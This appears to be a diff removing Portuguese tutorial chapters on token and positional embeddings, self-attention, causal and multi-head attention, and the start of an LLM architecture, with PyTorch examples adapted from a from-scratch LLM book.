**Cenário de Exemplo:**
|
||||
|
||||
- **Tamanho do Lote:** 8 (número de amostras processadas simultaneamente)
|
||||
- **Comprimento Máximo da Sequência:** 4 (número de tokens por amostra)
|
||||
- **Dimensões do Embedding:** 256
|
||||
|
||||
**Estrutura de Dados:**
|
||||
|
||||
- Cada lote é representado como um tensor 3D com forma `(batch_size, max_length, embedding_dim)`.
|
||||
- Para nosso exemplo, a forma seria `(8, 4, 256)`.
|
||||
|
||||
**Visualização:**
|
||||
```css
|
||||
cssCopy codeBatch
|
||||
┌─────────────┐
|
||||
│ Sample 1 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ Sample 2 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ ... │
|
||||
│ Sample 8 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
└─────────────┘
|
||||
```
|
||||
**Explicação:**
|
||||
|
||||
- Cada token na sequência é representado por um vetor de 256 dimensões.
|
||||
- O modelo processa essas embeddings para aprender padrões de linguagem e gerar previsões.
|
||||
|
||||
## **Embeddings Posicionais: Adicionando Contexto às Embeddings de Token**
|
||||
|
||||
Enquanto as embeddings de token capturam o significado de tokens individuais, elas não codificam inherentemente a posição dos tokens dentro de uma sequência. Compreender a ordem dos tokens é crucial para a compreensão da linguagem. É aqui que as **embeddings posicionais** entram em cena.
|
||||
|
||||
### **Por que as Embeddings Posicionais são Necessárias:**
|
||||
|
||||
- **A Ordem dos Tokens Importa:** Em frases, o significado muitas vezes depende da ordem das palavras. Por exemplo, "O gato sentou no tapete" vs. "O tapete sentou no gato."
|
||||
- **Limitação da Embedding:** Sem informações posicionais, o modelo trata os tokens como um "saco de palavras", ignorando sua sequência.
|
||||
|
||||
### **Tipos de Embeddings Posicionais:**
|
||||
|
||||
1. **Embeddings Posicionais Absolutos:**
|
||||
- Atribuem um vetor de posição único a cada posição na sequência.
|
||||
- **Exemplo:** O primeiro token em qualquer sequência tem a mesma embedding posicional, o segundo token tem outra, e assim por diante.
|
||||
- **Usado Por:** Modelos GPT da OpenAI.
|
||||
2. **Embeddings Posicionais Relativos:**
|
||||
- Codificam a distância relativa entre tokens em vez de suas posições absolutas.
|
||||
- **Exemplo:** Indicam quão distantes dois tokens estão, independentemente de suas posições absolutas na sequência.
|
||||
- **Usado Por:** Modelos como Transformer-XL e algumas variantes do BERT.
|
||||
|
||||
### **Como as Embeddings Posicionais são Integradas:**
|
||||
|
||||
- **Mesmas Dimensões:** As embeddings posicionais têm a mesma dimensionalidade que as embeddings de token.
|
||||
- **Adição:** Elas são adicionadas às embeddings de token, combinando a identidade do token com informações posicionais sem aumentar a dimensionalidade geral.
|
||||
|
||||
**Exemplo de Adição de Embeddings Posicionais:**
|
||||
|
||||
Suponha que um vetor de embedding de token seja `[0.5, -0.2, 0.1]` e seu vetor de embedding posicional seja `[0.1, 0.3, -0.1]`. A embedding combinada usada pelo modelo seria:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Benefícios das Embeddings Posicionais:**
|
||||
|
||||
- **Consciência Contextual:** O modelo pode diferenciar entre tokens com base em suas posições.
|
||||
- **Compreensão de Sequência:** Permite que o modelo entenda gramática, sintaxe e significados dependentes do contexto.
|
||||
|
||||
## Exemplo de Código
|
||||
|
||||
Seguindo com o exemplo de código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
# Create dimensional emdeddings
|
||||
"""
|
||||
BPE uses a vocabulary of 50257 words
|
||||
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
|
||||
"""
|
||||
|
||||
vocab_size = 50257
|
||||
output_dim = 256
|
||||
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
|
||||
|
||||
## Generate the dataloader like before
|
||||
max_length = 4
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=max_length,
|
||||
stride=max_length, shuffle=False
|
||||
)
|
||||
data_iter = iter(dataloader)
|
||||
inputs, targets = next(data_iter)
|
||||
|
||||
# Apply embeddings
|
||||
token_embeddings = token_embedding_layer(inputs)
|
||||
print(token_embeddings.shape)
|
||||
torch.Size([8, 4, 256]) # 8 x 4 x 256
|
||||
|
||||
# Generate absolute embeddings
|
||||
context_length = max_length
|
||||
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
|
||||
|
||||
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,416 +0,0 @@
|
||||
# 4. Mecanismos de Atenção
|
||||
|
||||
## Mecanismos de Atenção e Auto-Atenção em Redes Neurais
|
||||
|
||||
Os mecanismos de atenção permitem que redes neurais **focalizem partes específicas da entrada ao gerar cada parte da saída**. Eles atribuem pesos diferentes a diferentes entradas, ajudando o modelo a decidir quais entradas são mais relevantes para a tarefa em questão. Isso é crucial em tarefas como tradução automática, onde entender o contexto de toda a frase é necessário para uma tradução precisa.
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estes serão muitos **níveis repetidos** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na frase atual sendo usada para treinar o LLM**.\
|
||||
> Muitos níveis são usados para isso, então muitos parâmetros treináveis vão capturar essa informação.
|
||||
|
||||
### Entendendo os Mecanismos de Atenção
|
||||
|
||||
Nos modelos tradicionais de sequência para sequência usados para tradução de idiomas, o modelo codifica uma sequência de entrada em um vetor de contexto de tamanho fixo. No entanto, essa abordagem tem dificuldades com frases longas porque o vetor de contexto de tamanho fixo pode não capturar todas as informações necessárias. Os mecanismos de atenção abordam essa limitação permitindo que o modelo considere todos os tokens de entrada ao gerar cada token de saída.
|
||||
|
||||
#### Exemplo: Tradução Automática
|
||||
|
||||
Considere traduzir a frase em alemão "Kannst du mir helfen diesen Satz zu übersetzen" para o inglês. Uma tradução palavra por palavra não produziria uma frase em inglês gramaticalmente correta devido a diferenças nas estruturas gramaticais entre os idiomas. Um mecanismo de atenção permite que o modelo se concentre nas partes relevantes da frase de entrada ao gerar cada palavra da frase de saída, levando a uma tradução mais precisa e coerente.
|
||||
|
||||
### Introdução à Auto-Atenção
|
||||
|
||||
A auto-atensão, ou intra-atensão, é um mecanismo onde a atenção é aplicada dentro de uma única sequência para calcular uma representação dessa sequência. Ela permite que cada token na sequência atenda a todos os outros tokens, ajudando o modelo a capturar dependências entre tokens, independentemente da distância entre eles na sequência.
|
||||
|
||||
#### Conceitos Chave
|
||||
|
||||
- **Tokens**: Elementos individuais da sequência de entrada (por exemplo, palavras em uma frase).
|
||||
- **Embeddings**: Representações vetoriais de tokens, capturando informações semânticas.
|
||||
- **Pesos de Atenção**: Valores que determinam a importância de cada token em relação aos outros.
|
||||
|
||||
### Calculando Pesos de Atenção: Um Exemplo Passo a Passo
|
||||
|
||||
Vamos considerar a frase **"Hello shiny sun!"** e representar cada palavra com um embedding de 3 dimensões:
|
||||
|
||||
- **Hello**: `[0.34, 0.22, 0.54]`
|
||||
- **shiny**: `[0.53, 0.34, 0.98]`
|
||||
- **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Nosso objetivo é calcular o **vetor de contexto** para a palavra **"shiny"** usando auto-atensão.
|
||||
|
||||
#### Passo 1: Calcular Pontuações de Atenção
|
||||
|
||||
> [!TIP]
|
||||
> Basta multiplicar cada valor de dimensão da consulta pelo relevante de cada token e somar os resultados. Você obtém 1 valor por par de tokens.
|
||||
|
||||
Para cada palavra na frase, calcule a **pontuação de atenção** em relação a "shiny" calculando o produto escalar de seus embeddings.
|
||||
|
||||
**Pontuação de Atenção entre "Hello" e "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Pontuação de Atenção entre "shiny" e "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Pontuação de Atenção entre "sun" e "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Passo 2: Normalizar Pontuações de Atenção para Obter Pesos de Atenção
|
||||
|
||||
> [!TIP]
|
||||
> Não se perca nos termos matemáticos, o objetivo desta função é simples, normalizar todos os pesos para **que eles somem 1 no total**.
|
||||
>
|
||||
> Além disso, a função **softmax** é usada porque acentua diferenças devido à parte exponencial, facilitando a detecção de valores úteis.
|
||||
|
||||
Aplique a **função softmax** às pontuações de atenção para convertê-las em pesos de atenção que somam 1.
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Calculando os exponenciais:
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Calculando a soma:
|
||||
|
||||
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Calculando pesos de atenção:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Passo 3: Calcular o Vetor de Contexto
|
||||
|
||||
> [!TIP]
|
||||
> Basta pegar cada peso de atenção e multiplicá-lo pelas dimensões do token relacionado e, em seguida, somar todas as dimensões para obter apenas 1 vetor (o vetor de contexto)
|
||||
|
||||
O **vetor de contexto** é calculado como a soma ponderada dos embeddings de todas as palavras, usando os pesos de atenção.
|
||||
|
||||
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Calculando cada componente:
|
||||
|
||||
- **Embedding Ponderado de "Hello"**:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Embedding Ponderado de "shiny"**:
|
||||
|
||||
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Embedding Ponderado de "sun"**:
|
||||
|
||||
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Somando os embeddings ponderados:
|
||||
|
||||
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Este vetor de contexto representa o embedding enriquecido para a palavra "shiny", incorporando informações de todas as palavras na frase.**
|
||||
|
||||
### Resumo do Processo
|
||||
|
||||
1. **Calcular Pontuações de Atenção**: Use o produto escalar entre o embedding da palavra-alvo e os embeddings de todas as palavras na sequência.
|
||||
2. **Normalizar Pontuações para Obter Pesos de Atenção**: Aplique a função softmax às pontuações de atenção para obter pesos que somem 1.
|
||||
3. **Calcular Vetor de Contexto**: Multiplique o embedding de cada palavra pelo seu peso de atenção e some os resultados.
|
||||
|
||||
## Auto-Atenção com Pesos Treináveis
|
||||
|
||||
Na prática, os mecanismos de auto-atensão usam **pesos treináveis** para aprender as melhores representações para consultas, chaves e valores. Isso envolve a introdução de três matrizes de peso:
|
||||
|
||||
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
A consulta é os dados a serem usados como antes, enquanto as matrizes de chaves e valores são apenas matrizes aleatórias e treináveis.
|
||||
|
||||
#### Passo 1: Calcular Consultas, Chaves e Valores
|
||||
|
||||
Cada token terá sua própria matriz de consulta, chave e valor multiplicando seus valores de dimensão pelas matrizes definidas:
|
||||
|
||||
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Essas matrizes transformam os embeddings originais em um novo espaço adequado para calcular a atenção.
|
||||
|
||||
**Exemplo**
|
||||
|
||||
Assumindo:
|
||||
|
||||
- Dimensão de entrada `din=3` (tamanho do embedding)
|
||||
- Dimensão de saída `dout=2` (dimensão desejada para consultas, chaves e valores)
|
||||
|
||||
Inicialize as matrizes de peso:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
|
||||
W_query = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
Calcule consultas, chaves e valores:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Etapa 2: Calcular Atenção de Produto Escalonado
|
||||
|
||||
**Calcular Pontuações de Atenção**
|
||||
|
||||
Semelhante ao exemplo anterior, mas desta vez, em vez de usar os valores das dimensões dos tokens, usamos a matriz de chave do token (já calculada usando as dimensões):. Assim, para cada consulta `qi` e chave `kj`:
|
||||
|
||||
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Escalonar as Pontuações**
|
||||
|
||||
Para evitar que os produtos escalares se tornem muito grandes, escalone-os pela raiz quadrada da dimensão da chave `dk`:
|
||||
|
||||
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> A pontuação é dividida pela raiz quadrada das dimensões porque os produtos escalares podem se tornar muito grandes e isso ajuda a regulá-los.
|
||||
|
||||
**Aplicar Softmax para Obter Pesos de Atenção:** Como no exemplo inicial, normalize todos os valores para que somem 1.
|
||||
|
||||
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Etapa 3: Calcular Vetores de Contexto
|
||||
|
||||
Como no exemplo inicial, basta somar todas as matrizes de valores multiplicando cada uma pelo seu peso de atenção:
|
||||
|
||||
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Exemplo de Código
|
||||
|
||||
Pegando um exemplo de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) você pode verificar esta classe que implementa a funcionalidade de autoatenção que discutimos:
|
||||
```python
|
||||
import torch
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
import torch.nn as nn
|
||||
class SelfAttention_v2(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
|
||||
def forward(self, x):
|
||||
keys = self.W_key(x)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.T
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
d_in=3
|
||||
d_out=2
|
||||
torch.manual_seed(789)
|
||||
sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
> [!NOTE]
|
||||
> Note que, em vez de inicializar as matrizes com valores aleatórios, `nn.Linear` é usado para marcar todos os pesos como parâmetros a serem treinados.
|
||||
|
||||
## Atenção Causal: Ocultando Palavras Futuras
|
||||
|
||||
Para LLMs, queremos que o modelo considere apenas os tokens que aparecem antes da posição atual para **prever o próximo token**. **Atenção causal**, também conhecida como **atenção mascarada**, alcança isso modificando o mecanismo de atenção para impedir o acesso a tokens futuros.
|
||||
|
||||
### Aplicando uma Máscara de Atenção Causal
|
||||
|
||||
Para implementar a atenção causal, aplicamos uma máscara aos scores de atenção **antes da operação softmax** para que os restantes ainda somem 1. Essa máscara define os scores de atenção dos tokens futuros como negativo infinito, garantindo que, após o softmax, seus pesos de atenção sejam zero.
|
||||
|
||||
**Passos**
|
||||
|
||||
1. **Calcular Scores de Atenção**: Igual ao anterior.
|
||||
2. **Aplicar Máscara**: Use uma matriz triangular superior preenchida com negativo infinito acima da diagonal.
|
||||
|
||||
```python
|
||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||
masked_scores = attention_scores + mask
|
||||
```
|
||||
|
||||
3. **Aplicar Softmax**: Calcule os pesos de atenção usando os scores mascarados.
|
||||
|
||||
```python
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Mascarando Pesos de Atenção Adicionais com Dropout
|
||||
|
||||
Para **prevenir overfitting**, podemos aplicar **dropout** aos pesos de atenção após a operação softmax. O dropout **zera aleatoriamente alguns dos pesos de atenção** durante o treinamento.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Um dropout regular é de cerca de 10-20%.
|
||||
|
||||
### Exemplo de Código
|
||||
|
||||
Exemplo de código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
batch = torch.stack((inputs, inputs), dim=0)
|
||||
print(batch.shape)
|
||||
|
||||
class CausalAttention(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, context_length,
|
||||
dropout, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.d_out = d_out
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # This generates the keys of the tokens
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
|
||||
attn_scores.masked_fill_( # New, _ ops are in-place
|
||||
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
|
||||
attn_weights = torch.softmax(
|
||||
attn_scores / keys.shape[-1]**0.5, dim=-1
|
||||
)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
context_length = batch.shape[1]
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
ca = CausalAttention(d_in, d_out, context_length, 0.0)
|
||||
|
||||
context_vecs = ca(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Estendendo a Atenção de Cabeça Única para Atenção de Múltiplas Cabeças
|
||||
|
||||
**Atenção de múltiplas cabeças** em termos práticos consiste em executar **várias instâncias** da função de autoatenção, cada uma com **seus próprios pesos**, de modo que vetores finais diferentes sejam calculados.
|
||||
|
||||
### Exemplo de Código
|
||||
|
||||
Pode ser possível reutilizar o código anterior e apenas adicionar um wrapper que o execute várias vezes, mas esta é uma versão mais otimizada de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) que processa todas as cabeças ao mesmo tempo (reduzindo o número de loops for caros). Como você pode ver no código, as dimensões de cada token são divididas em diferentes dimensões de acordo com o número de cabeças. Dessa forma, se o token tiver 8 dimensões e quisermos usar 3 cabeças, as dimensões serão divididas em 2 arrays de 4 dimensões e cada cabeça usará uma delas:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert (d_out % num_heads == 0), \
|
||||
"d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer(
|
||||
"mask",
|
||||
torch.triu(torch.ones(context_length, context_length),
|
||||
diagonal=1)
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
batch_size, context_length, d_in = batch.shape
|
||||
d_out = 2
|
||||
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
|
||||
|
||||
context_vecs = mha(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
Para uma implementação compacta e eficiente, você pode usar a classe [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) no PyTorch.
|
||||
|
||||
> [!TIP]
|
||||
> Resposta curta do ChatGPT sobre por que é melhor dividir as dimensões dos tokens entre as cabeças em vez de fazer com que cada cabeça verifique todas as dimensões de todos os tokens:
|
||||
>
|
||||
> Embora permitir que cada cabeça processe todas as dimensões de embedding possa parecer vantajoso porque cada cabeça teria acesso a todas as informações, a prática padrão é **dividir as dimensões de embedding entre as cabeças**. Essa abordagem equilibra a eficiência computacional com o desempenho do modelo e incentiva cada cabeça a aprender representações diversas. Portanto, dividir as dimensões de embedding é geralmente preferido em relação a fazer com que cada cabeça verifique todas as dimensões.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,666 +0,0 @@
|
||||
# 5. Arquitetura LLM
|
||||
|
||||
## Arquitetura LLM
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta quinta fase é muito simples: **Desenvolver a arquitetura do LLM completo**. Junte tudo, aplique todas as camadas e crie todas as funções para gerar texto ou transformar texto em IDs e vice-versa.
|
||||
>
|
||||
> Esta arquitetura será usada tanto para treinar quanto para prever texto após ter sido treinada.
|
||||
|
||||
Exemplo de arquitetura LLM de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
Uma representação de alto nível pode ser observada em:
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Entrada (Texto Tokenizado)**: O processo começa com texto tokenizado, que é convertido em representações numéricas.
|
||||
2. **Camada de Embedding de Token e Camada de Embedding Posicional**: O texto tokenizado é passado por uma **camada de embedding de token** e uma **camada de embedding posicional**, que captura a posição dos tokens em uma sequência, crítica para entender a ordem das palavras.
|
||||
3. **Blocos Transformer**: O modelo contém **12 blocos transformer**, cada um com várias camadas. Esses blocos repetem a seguinte sequência:
|
||||
- **Atenção Multi-Cabeça Mascarada**: Permite que o modelo se concentre em diferentes partes do texto de entrada ao mesmo tempo.
|
||||
- **Normalização de Camada**: Um passo de normalização para estabilizar e melhorar o treinamento.
|
||||
- **Camada Feed Forward**: Responsável por processar as informações da camada de atenção e fazer previsões sobre o próximo token.
|
||||
- **Camadas de Dropout**: Essas camadas evitam overfitting ao descartar unidades aleatoriamente durante o treinamento.
|
||||
4. **Camada de Saída Final**: O modelo produz um **tensor de 4x50.257 dimensões**, onde **50.257** representa o tamanho do vocabulário. Cada linha neste tensor corresponde a um vetor que o modelo usa para prever a próxima palavra na sequência.
|
||||
5. **Objetivo**: O objetivo é pegar esses embeddings e convertê-los de volta em texto. Especificamente, a última linha da saída é usada para gerar a próxima palavra, representada como "forward" neste diagrama.
|
||||
|
||||
### Representação de Código
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import tiktoken
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
